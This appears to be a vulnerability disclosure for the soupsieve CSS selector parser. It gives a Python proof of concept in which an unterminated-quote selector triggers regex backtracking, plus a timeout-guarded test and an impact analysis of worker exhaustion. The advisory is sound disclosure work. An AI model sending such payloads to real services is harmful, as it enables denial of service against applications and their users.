Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser

Proof of Concept

import time
import soupsieve as sv

PAYLOAD_LEN = 300

# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
    sv.compile(well_formed)
except Exception:
    pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")

# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
    sv.compile(malformed)  # WARNING: This will hang for >3 seconds
except Exception:
    pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")

slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")

# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.

Safe testing variant with timeout:

import signal
import soupsieve as sv

def timeout_handler(signum, frame):
    raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")

PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)  # 3-second timeout

try:
    sv.compile(malformed)
    print("Selector compiled (not vulnerable)")
except TimeoutError as e:
    print(f"VULNERABLE: {e}")
except Exception as e:
    print(f"Other error: {e}")
finally:
    signal.alarm(0)  # Cancel the alarm

Impact

Severity: High

An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:

1. Tiny payload: Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
2. No special characters: The payload consists entirely of printable ASCII characters ([a="xxx...)
3. Exponential scaling: Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
4. Thread blocking: The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)

Deployment impact: In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.

Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.

Credit

The vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/